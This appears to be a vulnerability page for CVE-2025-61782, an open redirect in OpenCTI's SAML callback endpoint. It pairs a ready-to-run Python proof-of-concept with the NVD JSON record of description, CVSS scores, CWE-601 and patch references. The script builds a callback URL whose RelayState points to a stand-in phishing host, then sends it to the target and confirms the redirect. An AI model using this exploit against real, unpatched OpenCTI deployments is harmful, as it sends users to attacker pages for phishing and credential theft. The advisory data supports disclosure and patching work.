CVE-2025-61782

import requests import urllib.parse # CVE-2025-61782 Open Redirect PoC # Target: OpenCTI SAML Authentication Endpoint # Vulnerability: Open redirect via RelayState parameter TARGET_URL = "https://target-opencti.example.com" ATTACKER_URL = "https://attacker.com/phishing" # Construct malicious SAML callback URL with open redirect malicious_relay_state = urllib.parse.quote(ATTACKER_URL, safe='') exploit_url = f"{TARGET_URL}/auth/saml/callback?RelayState={malicious_relay_state}" print(f"[*] CVE-2025-61782 Open Redirect PoC") print(f"[*] Target: {TARGET_URL}") print(f"[*] Attacker URL: {ATTACKER_URL}") print(f"[*] Malicious URL: {exploit_url}") # Send request to check for open redirect behavior response = requests.get(exploit_url, allow_redirects=False) if response.status_code == 302: location = response.headers.get('Location', '') print(f"[+] Open redirect confirmed!") print(f"[+] Server responds with 302 redirect to: {location}") if ATTACKER_URL in location or urllib.parse.unquote(ATTACKER_URL) in location: print("[!] VULNERABLE: Redirects to attacker-controlled domain") else: print(f"[-] Unexpected response: {response.status_code}") # Alternative PoC using standard URL encoding print("\n[*] Alternative PoC with raw URL:") alt_url = f"{TARGET_URL}/auth/saml/callback?RelayState={ATTACKER_URL}" print(f"[*] URL: {alt_url}")

{"cve": {"id": "CVE-2025-61782", "sourceIdentifier": "[email protected]", "published": "2026-01-07T18:15:51.223", "lastModified": "2026-01-20T18:50:03.980", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "OpenCTI is an open source platform for managing cyber threat intelligence knowledge and observables. Prior to version 6.8.3, an open redirect vulnerability exists in the OpenCTI platform's SAML authentication endpoint (/auth/saml/callback). By manipulating the RelayState parameter, an attacker can force the server to issue a 302 redirect to any external URL, enabling phishing, credential theft, and arbitrary site redirection. This issue has been patched in version 6.8.3."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.5}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-601"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:citeum:opencti:*:*:*:*:*:*:*:*", "versionEndExcluding": "6.8.3", "matchCriteriaId": "55B2B87D-80F6-40AD-A54E-D22C64E61924"}]}]}], "references": [{"url": "https://github.com/OpenCTI-Platform/opencti/commit/f755165a26888925c4a58018f7238ff92a0bd378", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/OpenCTI-Platform/opencti/releases/tag/6.8.3", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/OpenCTI-Platform/opencti/security/advisories/GHSA-jc3f-c62g-v7qw", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}